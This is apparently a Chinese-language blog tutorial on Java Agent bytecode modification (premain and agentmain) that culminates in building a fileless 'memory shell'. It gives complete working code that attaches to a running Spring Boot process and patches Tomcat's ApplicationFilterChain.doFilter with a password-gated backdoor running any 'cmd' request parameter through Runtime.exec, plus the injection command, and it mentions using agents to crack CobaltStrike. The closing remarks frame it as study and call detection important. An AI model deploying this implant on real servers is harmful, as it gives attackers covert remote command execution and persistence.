Java Agent到内存马

JAVA Agent两种方法复现

Java Agent 简单说就是一种可以修改 jar 字节码的技术,我们来复现下上述提到的两种方法。

premain

通过实现 premain方法 ,并在启动jar时添加 -javaagent:agent.jar 即可进行字节码修改。首先我们创建一个正常输出、测试用的 JAVA 程序, hello.jar :

packagecom.test;publicclassHello{publicstaticvoidmain(String[] args){      hello();  }publicstaticvoidhello(){for(inti =0; i <1000; i++) {          System.out.println("hello");try{              Thread.sleep(1000);          }catch(InterruptedException e) {              e.printStackTrace();          }      }  }}

生成jar包:

Build -> Build Artifacts -> Build

正常运行jar包得到如下输出:

java-jar hello.jar

接下来编写一个实现premain方法的JAVA程序:

packagecom.test;importjava.lang.instrument.Instrumentation;publicclasspremainagent{publicstaticvoidpremain(String args, Instrumentation inst)throwsException{for(inti =0; i <10; i++) {          System.out.println("hello I`m premain agent!!!");      }  }}

并在 MANIFEST.MF 添加一行:

Premain-Class:com.test.premainagent

生成jar包并加载执行:

java-javaagent:premainagent.jar-jarhello.jar

可以看到,成功的在 hello.jar 本身结果输出前输出了 premain 方法的内容:

前面也提到现在破解 CobaltStrike 流行用 JAVA Agent 技术,我们看下破解工具的源码,能发现确实用的也是 premain 方法进行的破解:

agentmain

但是有些 JVM 已经启动了,不好去让他重启,因此这个时候 agentmain 就派上用场了,可以方便的 attach 对应的进程进行字节码的修改。

编写一个实现了 agentmain 方法的 JAVA 程序:

packagecom.test;importjava.lang.instrument.Instrumentation;publicclassagentmaintest{publicstaticvoidagentmain(String agentArgs, Instrumentation inst){for(inti =0; i <10; i++) {          System.out.println("hello I`m agentMain!!!");      }  }}

并在 MANIFEST.MF 添加一行:

Agent-Class:com.test.agentmaintest

生成 jar 包。

再编写一个 attach 程序(附2):

importcom.sun.tools.attach.*;importjava.io.IOException;importjava.util.List;publicclassTestAgentMain{publicstaticvoid main(String[] args)throwsIOException,AttachNotSupportedException,AgentLoadException,AgentInitializationException{//获取当前系统中所有 运行中的 虚拟机System.out.println("running JVM start ");List list =VirtualMachine.list();for(VirtualMachineDescriptorvmd : list) {System.out.println(vmd.displayName());Stringaim = args[0];//你的jar包if(vmd.displayName().endsWith(aim)) {System.out.println(String.format("find %s, process id %s", vmd.displayName(),                vmd.id()));VirtualMachinevirtualMachine =VirtualMachine.attach(vmd.id());                virtualMachine.loadAgent(args[1]);//你想要加载的agentmain包virtualMachine.detach();            }        }    }}

生成 jar 包。

依然尝试对 hello.jar 进行字节码的修改,但是这次是运行着的 hello.jar :

首先运行 hello.jar :

java -jar hello.jar

对 hello.jar 进行启动后的 attach 加载:

java -Djava.library.path=YOUR_PATH_TO_JDK/jre/bin -cp YOUR_PATH_TO_JDK/lib/tools.jar:TestAgentMain.jar TestAgentMain hello.jar agentmaintest.jar

发现成功在 hello.jar 运行过程中进行了字节码修改:

内存马

既然可以修改某个方法的实现,那如果修改 spring boot 的 Filter 是否就可以实现一个 Filter 内存马?这里通过修改 org.apache.catalina.core.ApplicationFilterChain#doFilter 来达到实现内存马的目的。

依然实现一个 agentmain 方法,只是这次 agentmain 方法中不再是 System.out.println 了,而是接收 request 的值来执行命令。一开始跟着前文提到的方法进行复现,发现有一些问题,比如 attach 后会爆 Caused by: java.lang.ClassNotFoundException: org.apache.catalina.core.ApplicationFilterChain

得加上这两句:

ClassPool classPool = ClassPool.getDefault();classPool.appendClassPath(newLoaderClassPath(Thread.currentThread().getContextClassLoader()));

除了上面 agentmain 章节中提到的,在 MANIFEST.MF 中添加一行 Agent-Class ,还要添加一行:

Can-Retransform-Classes:true

且最后执行命令的 JAVA 代码,申明变量类型时得是完整路径,如 InputStream 得变成 java.io.InputStream 。最终代码如下:

package com.test;importjava.lang.instrument.ClassFileTransformer;importjava.lang.instrument.Instrumentation;importjava.security.ProtectionDomain;importjavassist.*;importjava.lang.instrument.UnmodifiableClassException;importjava.lang.instrument.IllegalClassFormatException;importjava.io.IOException;importjava.io.IOException;importjava.lang.instrument.ClassFileTransformer;importjava.lang.instrument.Instrumentation;importjava.lang.instrument.UnmodifiableClassException;importjava.security.ProtectionDomain;importjavassist.CannotCompileException;importjavassist.ClassPool;importjavassist.CtClass;importjavassist.CtMethod;importjavassist.NotFoundException;publicclassmemshell{publicstaticvoid agentmain(StringagentArgs,Instrumentationinstrumentation)throwsClassNotFoundException,UnmodifiableClassException{        instrumentation.addTransformer(newClassFileTransformer() {            @Overridepublicbyte[] transform(ClassLoaderloader,StringclassName,Class classBeingRedefined,ProtectionDomainprotectionDomain,                                      byte[] classfileBuffer){System.out.println("premain load Class2:"+ className);if(!"org/apache/catalina/core/ApplicationFilterChain".equals                (className)){System.out.println("nonononononono");returnnull;                }else{try{System.out.println("tryyyyyyyy");ClassPoolclassPool =ClassPool.getDefault();                        classPool.appendClassPath(newLoaderClassPath(Thread.currentThread().getContextClassLoader()));if(classBeingRedefined != null) {ClassClassPathccp = newClassClassPath(classBeingRedefined);                            classPool.insertClassPath(ccp);                        }CtClassctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");CtMethodctMethod = ctClass.getDeclaredMethod("doFilter");Stringsource ="{javax.servlet.http.HttpServletRequest request = $1;"+"javax.servlet.http.HttpServletResponse response = $2;"+"request.setCharacterEncoding(\"UTF-8\");"+"String result = \"\";"+"String password = request.getParameter(\"password\");"+"if (password != null && password.equals(\"xxxxxx\")) {"+"String cmd = request.getParameter(\"cmd\");"+"if (cmd != null && cmd.length() > 0) {"+"java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();"+"java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();"+"byte[] b = new byte[1024];"+"int a = -1;"+"while ((a = in.read(b)) != -1) {"+"baos.write(b, 0, a);"+"}"+"response.getWriter().println(\"<pre>\" + new String(baos.toByteArray()) + \"</pre>\");"+"}"+"}}";                        ctMethod.insertBefore(source);System.out.println("okokkkkkkkkkkkkkkkkkkkkkkkkkkkkk");                        byte[] byteCode = ctClass.toBytecode();                        ctClass.detach();returnbyteCode;                    }catch(Exceptione) {                        e.printStackTrace();                    }returnnull;                }            }        },true);        instrumentation.retransformClasses(Class.forName("org.apache.catalina.core.ApplicationFilterChain"));    }}

打包成 jar ,然后启动 spring boot :

开始注入:

java -Djava.library.path=YOUR_PATH_TO_JDK/jre/bin -cp YOUR_PATH_TO_JDK/lib/tools.jar:TestAgentMain.jar TestAgentMain demo-0.0.1-SNAPSHOT.jar  memshell.jar

成功执行命令:

总结

本文借着公开的文章学习了 Java Agent 相关技术,分别对 JVM 运行前和运行后的字节码修改进行了复现,现在 JAVA 内存马越来越流行,借着反序列化等漏洞可以悄无声息的上一个 Webshell ,如何发现此类攻击手段也是一个重要战场。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,222评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,455评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,720评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,568评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,696评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,879评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,028评论 3 409
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,773评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,220评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,550评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,697评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,360评论 4 332
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,002评论 3 315
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,782评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,010评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,433评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,587评论 2 350

推荐阅读更多精彩内容